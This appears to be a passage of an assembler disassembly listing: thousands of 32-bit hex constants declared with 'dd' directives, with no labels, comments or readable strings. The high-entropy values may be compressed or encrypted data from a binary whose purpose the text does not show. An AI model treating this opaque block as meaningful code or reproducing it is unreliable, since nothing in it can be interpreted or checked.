		dd 8BB07430h, 0FD99C62Ch, 0D8386327h, 75750CFAh, 0CCBD35B2h
		dd 12B409ADh, 356C646h,	7D26509h, 9751230h, 6804046Ah
		dd 59425634h, 0BA163013h, 78542054h, 0BB3D98Ah,	6C9EFFCh
		dd 4E2F2D03h, 2D5FE523h, 65266A33h, 0CC2831F3h,	4C561354h
		dd 55DF2495h, 506C104Ch, 8B3840F3h, 8370BEE1h, 683C6A71h
		dd 0AE4F40E0h, 0EFFC213Dh, 830A1E11h, 5E83CC7h,	2C552068h
		dd 0C8A0717h, 0B3032BEh, 0D1C22B99h, 0B260D308h, 8429640Ch
		dd 0B5A004A7h, 30440A8Dh, 0B20A89F4h, 0F5160C20h, 0BD857C0Ch
		dd 6F802143h, 5BB0C850h, 16B432D4h, 85CC0CF5h, 881143BDh
		dd 770B9DF1h, 0E090801h, 0E661E889h, 5CDC9882h,	533F5D56h
		dd 1C1FFA1Ah, 0E2CA1BB2h, 0F4200084h, 4CBBC4F7h, 6238890Fh
		dd 6E5F5BC3h, 8813F850h, 818027CDh, 0BBA870BDh,	86F72620h
		dd 134E850Fh, 24298BB7h, 0DDF10C9Ah, 597E092Bh,	470AF471h
		dd 0C171702h, 680994F6h, 5E10564Ch, 56B61F14h, 1620DB65h
		dd 0B7806853h, 37C7EE13h, 7813AD01h, 781512C4h,	0FC8934ACh
		dd 7B337D43h, 0E47BA575h, 0CBF9E946h, 1C026A31h, 0B935F5DAh
		dd 4ED34671h, 0DB9F2564h, 0FD05104Eh, 0C7A6C888h, 74F88A30h
		dd 0A0BF1862h, 0E8577286h, 8BB67054h, 0AFA3F078h, 781F0DD1h
		dd 580ED358h, 0C127AABFh, 0FD005096h, 1868486Ah, 0C62FBC51h
		dd 8019FD74h, 18F2027Eh, 3AEC449Bh, 6F02832h, 701AA4F8h
		dd 215F4C53h, 9BDAD586h, 590B992Dh, 6C1DA4C6h, 0E912AF51h
		dd 0A09EA54Eh, 188956B6h, 0B7571668h, 5BA05686h, 339A76CAh
		dd 9BD204FAh, 62833292h, 8532821Eh, 0E9E4A226h,	544E4610h
		dd 2FE8DF0Ch, 0EDE8F4EEh, 0FE638359h, 84F8843Bh, 29553714h
		dd 911A6D6Fh, 4B4BDF32h, 0A222DC76h, 585E1E2Fh,	354BD0EFh
		dd 0A439A869h, 0C2DC1FCh, 539550C5h, 0CB563FA7h, 0C42A8F2Ah
		dd 43E6D58Dh, 0B407F3CBh, 440525F8h, 0AC78EBAEh, 0E6C56B7Bh
		dd 0A8C4FE30h, 903757Dh, 5359EB56h, 2F103D3Bh, 74C2C5A4h
		dd 50E4BEE9h, 2CE1C0D4h, 6EA544ECh, 0D6534A1Bh,	28859E9Eh
		dd 0EBFE5920h, 9A281857h, 111D012Bh, 0E216FE8h,	3315282Ah
		dd 79EBC005h, 11385EE8h, 216FD7F6h, 0A57B0515h,	132768D8h
		dd 94887368h, 8046E415h, 0DE7C0632h, 3943EB0Ah,	7541DB9Dh
		dd 2D49531Dh, 44E1412Dh, 85A804F5h, 0DC134946h,	59449C79h
		dd 6B5C429Ch, 350331E9h, 0B10BB80h, 0E80A076Ch,	898D0848h
		dd 0E44A8CA3h, 0A0922251h, 0F0C8A3B3h, 791CA488h, 7B580DF0h
		dd 0A16628F4h, 0F9B2B538h, 0F2E4A354h, 0D882E0E9h, 7F50FB83h
		dd 0FB22E34Fh, 8B5324F0h, 0CD2C6470h, 60C8A0ACh, 34265359h
		dd 56A0884Ah, 28D548E3h, 4A596940h, 50ABD0BFh, 604ABC68h
		dd 0FE52025Dh, 0FE85F91h, 188C0328h, 0A068354Dh, 0FC082CFDh
		dd 284EB768h, 11208AD3h, 2A10491Ch, 235D7744h, 53116062h
		dd 4489E623h, 1972BB59h, 100CA444h, 0F9191087h,	1EBD222Ah
		dd 0BBD21512h, 0A392E7C9h, 42B488B9h, 91372350h, 1AB1C4C4h
		dd 0BB56DB62h, 9C88224Fh, 0AF267445h, 79FC4687h, 0E810BA5Bh
		dd 58424C88h, 1B59105Bh, 70C44084h, 0FC272247h,	0DA7C8819h
		dd 951B3A10h, 4AA4BDB3h, 478932AFh, 90BD5922h, 4019CA7Bh
		dd 0A75230C4h, 624F88BDh, 22991AF7h, 0BDA9140Eh, 0D51879E2h
		dd 8C11841Ah, 54C743B1h, 0E454A8C5h, 59AD8958h,	0C8DB20DEh
		dd 54FD6A8Ah, 0F3C59BCh, 0E01A2711h, 835F9880h,	0DFEC9031h
		dd 6608EB20h, 4AA0BE88h, 7B01D157h, 43300C21h, 1A4D12EBh
		dd 5425ACB3h, 3A89BF65h, 6AD2591Ah, 0E88830B5h,	0B3951A29h
		dd 3B219DC1h, 120CEE64h, 0C1CB1A4Ah, 7AA43C22h,	9577B746h
		dd 2BE6C099h, 384CB262h, 54379D88h, 556643D3h, 73E8130Dh
		dd 241DC819h, 64BEB195h, 0EC433CFEh, 2D194985h,	0C20DDBDh
		dd 12F1438Ch, 0BEB61990h, 0B220A710h, 197618A8h, 8E5F9888h
		dd 58230EF3h, 0C218F588h, 0FB59BD8Bh, 53C449A5h, 63C69D2Bh
		dd 0BCA4D2B6h, 40BE88A8h, 0C4E5065Ch, 2A69F8BCh, 5BC0B304h
		dd 0D08A0EA6h, 0AF54FA24h, 9E5C3062h, 0A5A94227h, 95AAE128h
		dd 84CABB1h, 105D42F0h,	0FC8418AAh, 86B438B7h, 10189223h
		dd 5E608424h, 2BA47F22h, 0E2ABAC90h, 18671894h,	8A589085h
		dd 51912ED8h, 22AB844Ah, 0AA56536Dh, 972A468h, 8503D28Ch
		dd 0A651C9CFh, 56882490h, 0D8215844h, 18C1095Ch, 9087EC08h
		dd 1750DCD4h, 5811A4B2h, 50D2D84Ch, 98247F17h, 0E04F200Fh
		dd 0BCC54884h, 857C0CF8h, 0A3B7957Ch, 0CE6554E4h, 28310C5h
		dd 0ECB28C4Ah, 27A0B484h, 0C727035Bh, 25B42E57h, 0DB25B245h
		dd 66A0921h, 9C6B57F9h,	0CA9F4FB4h, 0F2B45C54h,	0A9532989h
		dd 2E593808h, 33727142h, 21572043h, 5311F7ACh, 0AA595789h
		dd 0A22CC895h, 10279546h, 5A7884DEh, 49851F6Ch,	0F047AE50h
		dd 99110D23h, 0AD675725h, 0C82A9564h, 1CFCF973h, 43C522ECh
		dd 17FA1DFDh, 44EDD808h, 727331ECh, 24AD951Fh, 9E21A751h
		dd 0DB85C762h, 4E86A16Dh, 1836EFA8h, 1C4AFF37h,	208F326Ah
		dd 0FE12241Ch, 901252FEh, 273AC54h, 83C18BB0h, 0F2F60460h
		dd 8D533DBDh, 0C60C245Ch, 0E8F10E8Eh, 0F5E81DABh, 3C908559h
		dd 34C71C5Eh, 14EEE8E1h, 884CFA04h, 5C431620h, 89C38115h
		dd 3E98045Eh, 9BA8C68Bh, 0A9B508C2h, 338A7C8Eh,	4DC1D972h
		dd 8D828614h, 504E083Ch, 80F04215h, 2E7D74F6h, 0AC92C182h
		dd 0F9C285AFh, 0C1F9D7FAh, 140C4315h, 0C603671Ah, 0E8194010h
		dd 0E333F9EFh, 0A87B8918h, 8B205F33h, 0C25D1AC3h, 880F6810h
		dd 99A9066Ah, 857A4007h, 6683599Bh, 0A26A74Eh, 3533A85Eh
		dd 0F2469B57h, 8264DE3Dh, 0DB331B7Dh, 0F7FE440h, 8DC39D0Fh
		dd 301675Ch, 579B5A6Ch,	234BBC1Ch, 53685249h, 2945C52Dh
		dd 0C20E6656h, 0A75E3FBh, 882C078Ah, 0A1478D07h, 0DDC615EBh
		dd 0C1478382h, 418808F8h, 2D9161Ch, 0FF032E87h,	366C9E76h
		dd 32A45796h, 0F89B16DEh, 0F30AE5ABh, 0B01EF459h, 71E2CC65h
		dd 1588A451h, 2DF84D8Dh, 98AA095Bh, 0F1E8A660h,	29DA6A92h
		dd 0E1EDA876h, 8A40FC0Ch, 9590AD0Bh, 8F42153Ch,	6C139A10h
		dd 5575D6FAh, 0C9788FCh, 130049F8h, 0CE8B5B18h,	3E93C2F5h
		dd 0E4409337h, 2228962Ah, 217AAFD0h, 0A04D6AC9h, 2350A27Ch
		dd 6779E87Fh, 78C77343h, 689F841h, 66717DB6h, 41A064D5h
		dd 81BD442Fh, 3D1AA770h
		dd 1B4E6C72h, 0C3B3FA0Ch, 4C25EC9h, 1E1A1185h, 5B23A236h
		dd 0E834618Ch, 0D1939994h, 0D5C36828h, 644861E3h, 910E0242h
		dd 8A0B5C6Bh, 0C4569C3h, 0B3A46048h, 572A077Fh,	0B6D36BA9h
		dd 38D514B2h, 26E8B81Fh, 0A7BF9FF9h, 7D39E080h,	8F270F10h
		dd 1B9FA23h, 438D185Dh,	0F8C73B08h, 1DCC1587h, 0DBD04A56h
		dd 103C4BCEh, 9E5421E0h, 0DF4C10B0h, 9E4421FCh,	0CF3C50C0h
		dd 673408C8h, 522C84D8h, 45DCE8A0h, 0CD7F9660h,	0FA036D93h
		dd 0BE0F99E4h, 10649F23h, 0FC0F733Ch, 809BE0Eh,	56841DF3h
		dd 0BBF426Ah, 0A3661218h, 886EADFh, 3373D068h, 535D88E8h
		dd 7CB52149h, 0B88A6994h, 21B2B509h, 21FFFC2Bh,	646C3139h
		dd 0E2A858FEh, 0FD706888h, 0AD056F44h, 0B562FE83h, 215625CDh
		dd 89446A2Ah, 73119F58h, 0DD112079h, 10688D40h,	0DBD37CA1h
		dd 883E5E1Dh, 73DBAC1Eh, 521C720Ch, 0EC1416FEh,	43A244FCh
		dd 68635B04h, 0F86B5F8Dh, 0F88B18A2h, 541E36CCh, 0D21044D5h
		dd 316FB917h, 7D2B1DC7h, 0F8713404h, 0B449738Ah, 2932CA48h
		dd 0C020EC90h, 64EF1CC8h, 0B70934B4h, 0E96439E1h, 56692C4Ch
		dd 613CCFFCh, 81E42650h, 0F20A04C8h, 0D49534BBh, 0AD52500Eh
		dd 0DC40EA9h, 729F7492h, 0C64EA79Eh, 78FC2724h,	5A8A1FC7h
		dd 0D53C1745h, 10868041h, 0D8631993h, 8328468h,	8622DC4Eh
		dd 0F20251FCh, 1E94F30Dh, 0CCCD87F1h, 10CA417h,	8114572h
		dd 0F047FBBCh, 318B1B87h, 86E21392h, 0D927DC2Eh, 0D064C0Ch
		dd 0D9AF3C90h, 118A8E20h, 0B2596068h, 59A5CC56h, 9F608DF4h
		dd 41A9DB46h, 0C8518414h, 5C688A63h, 0A11AB22Bh, 56B52BAEh
		dd 0E8B04667h, 743259C5h, 50682238h, 1B765699h,	2E918523h
		dd 4C440DC8h, 4B1AC234h, 22DC56B3h, 0EA2B985Ah,	2E5E81FAh
		dd 192E3996h, 0F895B5Fh, 448D4BCh, 0F6C9C79Ch, 2C7EA6F2h
		dd 1650250Eh, 0E9E6574Fh, 6E40A54Bh, 9C6ADDD8h,	461630D1h
		dd 89EA4701h, 21F8B537h, 161BBD65h, 12FDB218h, 63F82D09h
		dd 0BB2C0A45h, 0C362C44Fh, 24B57581h, 0E104EE39h, 56AFC568h
		dd 33BD08AEh, 15B1016h,	0C0D1306h, 62498D56h, 752B9A91h
		dd 18D43F3Ah, 5A040BB2h, 0EF8396E1h, 0FBAD74ABh, 3D34A154h
		dd 40A61A23h, 0D8F7823Fh, 0B940C01Bh, 373A04C4h, 0A9A3B93Bh
		dd 0BBCD415Fh, 16CFAD44h, 225A46B6h, 5772B161h,	5F884D94h
		dd 2F053C0Eh, 0B4617868h, 0DA2B2ECh, 3146F800h,	21D3A868h
		dd 7E0686ECh, 299EE82Fh, 5E3663B0h, 1F21DB3Bh, 28E85339h
		dd 3060425h, 0A19068DFh, 7E1E91A5h, 9F856E7Bh, 300BF0ABh
		dd 3675F6E4h, 481F22B5h, 32E9A084h, 7041EBDBh, 8C015EBFh
		dd 0FE5BFC7Eh, 44960A8Dh, 0D271AC95h, 0A97E50A2h, 74011C2Eh
		dd 22255AD2h, 1032C270h, 988501B3h, 59BC42C5h, 0BD73C38Ah
		dd 209A839Ch, 0A175C56h, 0A57161B8h, 91B5EA78h,	54EE48BBh
		dd 0A4597EBh, 9140206Bh, 0B6909330h, 247D8006h,	0CA3982E0h
		dd 0D4E85837h, 0B6DC20ABh, 0A9F54A07h, 0E0C1E550h, 0D6039D03h
		dd 0DC986DDFh, 125D480Dh, 0ADD42DAFh, 15093132h, 55DD4E8Ch
		dd 0C88B4035h, 55E8241Ch, 0C0F89797h, 7CD3E359h, 53AB6A3Ah
		dd 63B8867Dh, 6A226D0Bh, 2CEC2D1Ch, 8961AFE4h, 13458AF6h
		dd 0C81DA528h, 0E4AEC88h, 25120644h, 3914AEBAh,	0FC828A94h
		dd 0D4453980h, 9A0A7359h, 25689A69h, 0C11305A0h, 0F13667Ah
		dd 74D21286h, 1EBF8C5Dh, 5721D03h, 0EB5B066Ah, 2481713h
		dd 0E9E97B53h, 1159EF3h, 32450395h, 8EDC5AD8h, 9740D09Ah
		dd 47558E50h, 7695078Bh, 3B280F19h, 0E416B9DFh,	0B6B11876h
		dd 0D1D4CBCDh, 0F07D018Dh, 0F302E9C1h, 83CAFCA5h, 0A803E13Bh
		dd 8A589CA4h, 5573732Dh, 2F9C003h, 983FE180h, 0FE8803E2h
		dd 0F124CCECh, 0F80041Eh, 0C5D3C01h, 299E2BCh, 90F140CAh
		dd 0F220ED2Eh, 0F460662h, 3A928D29h, 38F6F499h,	45320602h
		dd 0E579A4EEh, 76EF1630h, 4501281Fh, 44BE0AB8h,	82CBEC35h
		dd 6208808Ah, 16A4268h,	7E96E87Ch, 873B460Bh, 0B62A72E2h
		dd 2548BB3Eh, 6AF92218h, 4BAF5C13h, 1A34D813h, 0F2524386h
		dd 395EE706h, 12731B4Ch, 3DDB0A2Bh, 0E83B7067h,	0FE4E35CCh
		dd 96D396F1h, 53422487h, 4E9754F1h, 1D8C826h, 0E80688CEh
		dd 54536FF8h, 581FCE1Ah, 18DA288h, 80E05D47h, 0A153AD24h
		dd 3DA6DA3Dh, 88F416D7h, 89386458h, 9F036A0Dh, 0CB848090h
		dd 2510221Ah, 6444B968h, 938DE484h, 0FA899257h,	23384E0Fh
		dd 7A161C8Eh, 80C1C6ECh, 36CD748Dh, 5A918230h, 14BBCC13h
		dd 0D6FB3B26h, 123C4466h, 4158B8E8h, 75CB3B71h,	39C8F002h
		dd 74185D0Dh, 51D46803h, 0D8687050h, 1E8B22Bh, 14467F94h
		dd 61A399C9h, 4274C63Bh, 0D263023Bh, 0A1F33E32h, 11AC9259h
		dd 2DFDE4EAh, 0C683AD53h, 850E82FEh, 0BB621F12h, 1EF2625Fh
		dd 88D799BBh, 80050620h, 0E0D4E0A5h, 8A3ADEC9h,	23E131BDh
		dd 2D6E8F68h, 0C22104FBh, 0F3FA631Eh, 1F0ADF21h, 0C14B670Ch
		dd 9BD1F9F7h, 18576162h, 27846488h, 1E4EFC6Fh, 0F49E819h
		dd 242E0560h, 46472605h, 2FC8644Fh, 62E9F1F8h, 0F7845041h
		dd 0A456596Fh, 0FCAD2030h, 33EF79E5h, 0E2893F60h, 0F00E75F4h
		dd 5E10FE6Eh, 69EDBB35h, 0CFB78C97h, 7D17A6ACh,	0E7CDABE6h
		dd 7CA5A9DEh, 0D7766B98h, 713A7C72h, 385EF7E8h,	8B81E478h
		dd 8014ACCDh, 8A407550h, 0FC35185h, 0F48BC140h,	0EE655889h
		dd 960D9970h, 790CB6EBh, 5C110E26h, 1524176Dh, 0C7E8A0Dh
		dd 0A9F8AEB9h, 0C2F05838h, 0D635EB1Ch, 98B665Dh, 1D0E752Bh
		dd 16EBA615h, 77B218EBh, 611275C5h, 73FAAD1Ah, 0B60F0B27h
		dd 0B887ECF0h, 680B0942h, 1F5B03E8h, 0F44513BBh, 2C2D91Ch
		dd 0DBFA8C0Fh, 608F1FAFh, 497448C5h, 86E28335h,	1783135Eh
		dd 98285C2h, 6F187C4Ch,	6597F9E0h, 0DDA08CEh, 18311121h
		dd 0B77C65BCh, 5CC323EDh, 344C4CF3h, 9896906h, 832C1C68h
		dd 2B57013Ch, 703B0846h, 50977B7h, 27BBBAE8h, 1DE7DE5h
		dd 7E8B3576h, 31141DAh,	90FC16A0h, 1522564h, 214B4644h
		dd 0F18875C5h, 0B6BFBC50h, 6C7BD064h, 18A20141h, 5C8961D5h
		dd 52072480h, 54D85D61h, 0C915A8Dh, 40BD6021h, 8F78E33h
		dd 1F0CE1F8h, 92CC2FB2h, 0A004AA08h, 0AD74E85Fh, 0D4C46B58h
		dd 9258EEF9h, 4339F91Dh, 33B273D8h, 145BDABDh, 8416E743h
		dd 0E3132BF0h, 0D73800Bh, 5E340A40h, 0C2FAF11Ah, 0CF8705D5h
		dd 0BF5018C4h, 0EEDF7A61h, 0EB197A18h, 5C56907Ch, 0F01C6B76h
		dd 0F170F575h, 6305DD76h, 78800180h, 2973FEFFh,	63B81C21h
		dd 1B1C82F0h, 7F47893Eh, 37084B3Bh, 926ACA4Fh, 0FE24733Bh
		dd 391AE240h, 385B0552h, 7A2BC062h, 31405201h, 56098D91h
		dd 8880C103h, 0A8E80477h, 479F0754h, 12FDCCA6h,	17C70406h
		dd 20F84CC7h, 247C3BC3h, 0FF0A27C9h, 0AC776FDh,	60F4BA40h
		dd 0C23BD233h, 8A070F90h, 0CA3AFF48h, 43801872h, 3B13E0CEh
		dd 182990FAh, 24FE4C75h, 506BE852h, 47AFC1DDh, 17752680h
		dd 10245438h, 63237459h, 1E7EB3Ah, 5689E867h, 0ED108808h
		dd 171753E1h, 0EE0C9226h, 3BFC1F18h, 187328C7h,	16E83023h
		dd 3905EB75h, 730C7E12h, 5EDBD133h, 53BA551Fh, 5F848028h
		dd 748C4604h, 0DABEFD1Eh, 8A481700h, 0FCC98408h, 47CA009h
		dd 95EBF6FEh, 16E8EA0Eh, 4108A353h, 0A278BA09h,	1036BE46h
		dd 0F1170EBAh, 56CC32E8h
		dd 0B244B71Ah, 0E8049ABCh, 0C18B06B3h, 2654DBDAh, 440C4432h
		dd 117742BBh, 4550BB78h, 1005ED0Ah, 5C009923h, 0C62B1424h
		dd 732CC33Bh, 8503EF02h, 0B13276DBh, 0E9FF044Fh, 0C33ACE03h
		dd 51A01922h, 156D90E8h, 0A7896C59h, 0CA11F32Bh, 7CE63156h
		dd 2A0AC90Bh, 12D35B5Eh, 918CB8CFh, 8152E9Dh, 7D8B880Ch
		dd 1FCF70C4h, 0E8316A8Dh, 0ECBDC06Ah, 13A20376h, 478D35E0h
		dd 0EEF40251h, 0C1400B55h, 0E655182Ch, 0F2093484h, 22CD2B25h
		dd 0B9C0833Ch, 3516491Bh, 16B85905h, 3783404Eh,	7C80648Bh
		dd 3EAFD6E8h, 62177624h, 0D1AF513Ah, 0F867A250h, 0B9590295h
		dd 4265105h, 8C085E8Bh,	2969E78h, 5040894Fh, 60803D8Ch
		dd 834654CEh, 0FB627732h, 98E21D4Ah, 0B50B1DBAh, 9C629CB2h
		dd 47F959B1h, 0F9218BE9h, 48468A22h, 3C761BE1h,	0B4B217F6h
		dd 0F6995268h, 920C780Bh, 6C7C4496h, 0C376217Ah, 2405F607h
		dd 10046B9h, 55800775h,	326B090Dh, 0AAA2C6FFh, 0D3910CE8h
		dd 0C4F128C3h, 0F2170E2Ch, 44562DE9h, 33EC1BF0h, 0AA3E8AF6h
		dd 24D43DC7h, 0E312C65h, 0DC0CE4D8h, 19AE15E3h,	2E806DEh
		dd 90FC09F0h, 6626D811h, 4A83A0DAh, 0EDB484FAh,	9A185EEAh
		dd 86C5DC2Eh, 0D0A99197h, 0F086D928h, 6A2B3350h, 0F9C3202h
		dd 0DE31ABDAh, 0D2D414BDh, 0E2603D17h, 0BBF4122Bh, 35393ED0h
		dd 0CC46138h, 941F840Fh, 4C0BB83Fh, 1CEF58B9h, 309E51FFh
		dd 0B20A4236h, 0A7DEB9EEh, 3F58369h, 5A65E268h,	3862D2Fh
		dd 0E62ADA6Ch, 0F14B1A6Ah, 26266974h, 0E05F5A42h, 0EAC5936h
		dd 61A7D6B4h, 0A55C9003h, 0DD3DEA1Ch, 0F316963Ah, 83D70508h
		dd 0F1FC04C6h, 75123E38h, 9611E889h, 5C9ACFF8h,	0C7BADD08h
		dd 76E81353h, 70A2D966h, 71E8940Dh, 5D13F279h, 182974C1h
		dd 2F28894h, 14212045h,	8DAAFD6Ah, 74185330h, 0A4BE3717h
		dd 0DECA56E6h, 0F8623453h, 0CBE1164h, 21C6870Ch, 8B23D05Fh
		dd 12C57084h, 12091FC5h, 39162204h, 0C64D4130h,	13EBEF24h
		dd 0B5BD834Ch, 0E8AA5231h, 13ADD076h, 8A944EA8h, 0DB13C5C5h
		dd 0D48431EDh, 5FAB21FDh, 8AF5900Eh, 0A496A02h,	5B1240D4h
		dd 9901BF22h, 457CC610h, 9DA8A4Eh, 74C824B4h, 4468648Dh
		dd 0A2380599h, 8DBCBDD2h, 68E4CC88h, 313D892Dh,	0A7E1DBEBh
		dd 1FBDD744h, 227087Dh,	674411DCh, 87C2F842h, 527FAC64h
		dd 4EA5C5D4h, 28B783ECh, 0BD068CD0h, 9FE5CBCh, 648588Dh
		dd 8BD888Fh, 54516955h,	48B35397h, 0BFCC3A64h, 48E08524h
		dd 65F79E0Eh, 1D2CA2DCh, 9D0E06EBh, 6A3F10C0h, 764F3248h
		dd 8B004842h, 0F1874F8h, 9C0A46BFh, 220C16BEh, 918BF466h
		dd 76544B0Bh, 85AA0364h, 0A7091FEh, 53D57566h, 8256F063h
		dd 98680A8Bh, 0E046DC05h, 0F22FC981h, 86F46929h, 6112C95Ah
		dd 1A393521h, 0DF05975h, 3C465725h, 4D2DCF9Ch, 18FD47EEh
		dd 0B8195D72h, 0FDDC7E32h, 0A05D4C0Bh, 5F96EBE8h, 11D09AB1h
		dd 29F45F52h, 6C78E874h, 9D4EB70Ah, 0B9DB330Bh,	0C26CFCA9h
		dd 4306F924h, 988916D8h, 85C691A0h, 2B0C7594h, 96166512h
		dd 0DC5D5B91h, 0BD12E57Dh, 765FE2C8h, 0A891FB41h, 925725B4h
		dd 7784075Bh, 627D28F8h, 4710BFAh, 0EB12E50Fh, 0A38922EFh
		dd 572D2B64h, 0C4899453h, 0B8DC45C8h, 0FE066948h, 8956424Dh
		dd 661C13FDh, 0CED82E33h, 4667E09h, 69857080h, 0BC0821BCh
		dd 41472A39h, 0B0096BC8h, 404616CCh, 669DC8CAh,	28C04527h
		dd 8B070262h, 0C40BE9C3h, 290A6454h, 9D8945C4h,	37EAA324h
		dd 0CCB5C238h, 35DAF92h, 0DD8D419Eh, 0F459170Eh, 41E3D0BBh
		dd 0CDF04D7h, 5002570Ah, 6ABF929Fh, 78397518h, 0BF233EB9h
		dd 8EE0BFCh, 6926C77Ch,	0A6E75464h, 0BB976C77h,	0F0F5984h
		dd 0ACC8D054h, 492208ADh, 0F420D94Ah, 56D6B54Bh, 3B674480h
		dd 75F47D0Bh, 0D840C26Ch, 32104A5Fh, 1A7FCC8Dh,	0C8F125CEh
		dd 223E6962h, 9890958Bh, 3B01C933h, 390E76D6h, 0B0498D84h
		dd 0F041DE43h, 0C0F272CAh, 83127508h, 731440FAh, 9C17890Dh
		dd 282A8594h, 7E4BAD3Bh, 5B1B87h, 0CC6815D1h, 4E0B169h
		dd 0FDF6E9D3h, 41A64659h, 0CB9D3F9Fh, 487F8A00h, 5D8D558Bh
		dd 4CE3BE8h, 0BC393076h, 401C3185h, 0EB00C1F9h,	8C198B20h
		dd 8921D085h, 2A17A8DEh, 3F494043h, 0C55E639h, 0E91A3427h
		dd 0BE24BB99h, 9DFA51FCh, 680A6AE9h, 0E8097EC4h, 8441505Eh
		dd 0BC682A18h, 16365811h, 0E1A518C9h, 16A4020Dh, 0E923A468h
		dd 25884640h, 11919C21h, 61F4A25Ah, 84681449h, 10871C08h
		dd 10EDCE7Ch, 6C6832E7h, 8502F810h, 0C9C86490h,	84711079h
		dd 1CD42402h, 0A5214C43h, 2C681EE1h, 1087B008h,	5381C824h
		dd 68EB61FDh, 6A175220h, 13103B96h, 0E19E0C68h,	880A4651h
		dd 6C2F6408h, 3A12E5F4h, 84EC721Ch, 37890B42h, 7DBEBE87h
		dd 0DC9F2427h, 5027FE42h, 6616215Bh, 0C1C6F809h, 10595948h
		dd 0D3C44B2Ah, 97407D42h, 157EFE9h, 9EB8214Eh, 246F8BDh
		dd 0BE056A2Ah, 0FF3C30A0h, 50665184h, 0A44BDCEFh, 684FA808h
		dd 0AFEB0A0Fh, 32986441h, 0D10F397Ch, 5C85C2B6h, 4132EA30h
		dd 0DC19D508h, 668D2AE0h, 993E8E1h, 700428ECh, 2A5A39A9h
		dd 0DF28EB10h, 252D861Ch, 3E36F8EDh, 0C10F8ADEh, 204932C5h
		dd 4E763634h, 429BB2FBh, 0F8126310h, 44478D68h,	0DE0BFAE5h
		dd 2308648Dh, 0ED533A10h, 7A474AD2h, 54EF289Fh,	86B2335Ch
		dd 3F602448h, 1C3CA11Dh, 346421DAh, 4AFEAB31h, 0C9A022D1h
		dd 9C0D2850h, 0D3D92031h, 388FEFDBh, 3045D942h,	3490018Bh
		dd 4A76787Ch, 21169DDBh, 17829658h, 1B67F068h, 0F928A412h
		dd 59B80132h, 22FBA2F9h, 9021F724h, 842E1467h, 0B53914C2h
		dd 75EF21F7h, 1D495623h, 0FCBCFBEFh, 0A33C3C8Ch, 581C5D07h
		dd 0D2BEE809h, 0F7FC55ECh, 91564B84h, 932CEBF9h, 0DC1B20D4h
		dd 651FD297h, 245822D9h, 0E6CDFDF0h, 1B15420Bh,	968B4868h
		dd 0A8308B3Ch, 5C470C78h, 0FC3A83Bh, 0D31A548Eh, 0F60B16E9h
		dd 0A62CB5Ch, 1903071h,	0C933654Bh, 38B573C7h, 1DCB4B6Ah
		dd 4AA38C54h, 0F06D329Ch, 0C2B9F609h, 41780C75h, 88FABB94h
		dd 0D9272800h, 167542A1h, 16F411B1h, 8EB0450Ch,	93C3C9FCh
		dd 5CBFDF2h, 7BFC9899h,	6A32D6CAh, 0DD587C4Fh, 0E4581486h
		dd 5CDDCF2Ah, 0E611462Dh, 1607474h, 75100C46h, 39BF573Eh
		dd 0B3194EC6h, 0D3CFA51h, 71100884h, 5708FAFCh,	0F0918CA5h
		dd 33665069h, 0C9743D80h, 0E8565F09h, 1DF812E3h, 307B279Dh
		dd 9C28F088h, 29620EDh,	73ECB962h, 0BD141800h, 5995DB33h
		dd 461000CAh, 0ACB08953h, 2FA144BFh, 0F48A50DCh, 92F810BFh
		dd 0A4A171FCh, 86DD7FFDh, 5A9182A7h, 0F5163BDEh, 61A7BAFDh
		dd 0BF56840Fh, 0AC851A81h, 64BEDF57h, 50D9DC43h, 3268132Eh
		dd 7C2B7FA1h, 7D195414h, 6C189CECh, 3885F033h, 0DED68B44h
		dd 9D622B37h, 7D0684D8h, 0DF04E2B1h, 86B5F1C2h,	0A102500Eh
		dd 0B5321029h, 0BD70D25Eh, 0D6400A85h, 3C428453h, 1302B984h
		dd 0A60812F4h, 4CBDC428h, 0BD9112C4h, 0F8080289h, 41667520h
		dd 0C839CEF4h, 0E881F818h, 84604458h, 0DB85C912h, 46DCB7C8h
		dd 0E8CB22FEh, 83191075h, 811422FBh, 0A24C8B17h, 94A9AC43h
		dd 860F06BEh, 0C2947526h, 111EE90Dh, 1242893Ah,	5605D786h
		dd 4C58E5A4h, 10C533F7h, 3FF4A3E7h, 6364CE49h, 5722211Ah
		dd 0DD948C14h, 32AC4C13h
		dd 0A88418A4h, 508201D2h, 88886E2h, 0C33B401Fh,	27BFE90Dh
		dd 0E010E528h, 0E08BD0FEh, 0F74B8D40h, 0E43BE72Ch, 0E91A9356h
		dd 0F1895197h, 9FFA11Ah, 0D15FB004h, 2796A5F6h,	43C9008Fh
		dd 24FDE9C4h, 6A61861Fh, 3D848A4Dh, 0A3C1A40h, 0A435F288h
		dd 4433B0A9h, 381CBE90h, 0BA2B426Ah, 0FBE08331h, 7414C066h
		dd 24981348h, 8BC0FDFEh, 765905F8h, 34B83336h, 728D5055h
		dd 8E13B42Ch, 0BAC4710h, 0FE010E03h, 0D71AEC8Fh, 0EB7CFC54h
		dd 142F1752h, 403C3068h, 5FA6F9A0h, 0D3E2354Fh,	18843153h
		dd 9B0C23F6h, 0BF60FDCEh, 30465047h, 3BF584E8h,	0F1359F8h
		dd 63494382h, 0A61C58E9h, 8B888134h, 3B091626h,	15EA084Dh
		dd 0EBEF3381h, 0BD302223h, 0B8A0B093h, 0FD2E8446h, 51A7F04Ah
		dd 31D9620h, 0FE81C504h, 73DC4789h, 65833E3Dh, 23D4C9CAh
		dd 1C8D5BBDh, 325FC92Bh, 6434420Ch, 60B3B818h, 47844F45h
		dd 0A20214E8h, 9EB1521h, 94EC2230h, 50E22CEAh, 0FD425186h
		dd 0F82A0B6Ch, 0C5BDA4B0h, 0F7100813h, 0E6921BEh, 0C210F4A2h
		dd 55FDB49Dh, 1021A64Ch, 68B014F7h, 27FA1884h, 0E8E410EBh
		dd 62CD4A32h, 0CA18108Ch, 9767BD51h, 0E88BA421h, 2F13FC2Fh
		dd 51AEADFBh, 5442362Ch, 0FCB72216h, 47A16E5Dh,	2EBF51ECh
		dd 0AC10A1A3h, 0FC38A103h, 71A0B00Ch, 0F4500CE8h, 0FD433C13h
		dd 9DF9AC10h, 7F25F356h, 0BD3D45EBh, 0E523EE5Ch, 740D0364h
		dd 6C486807h, 5EBD81Dh,	220F2CDBh, 0D198D44Ah, 2598453Ah
		dd 2F9A52BEh, 8370466Ah, 0C2A831D6h, 51F68489h,	1E6AE041h
		dd 0A20C2890h, 0BD833080h, 0B09C487Ch, 0B4E69864h, 68D10842h
		dd 88177514h, 4B91E989h, 0D26C086Bh, 0EB46C1D1h, 5AA32B1Bh
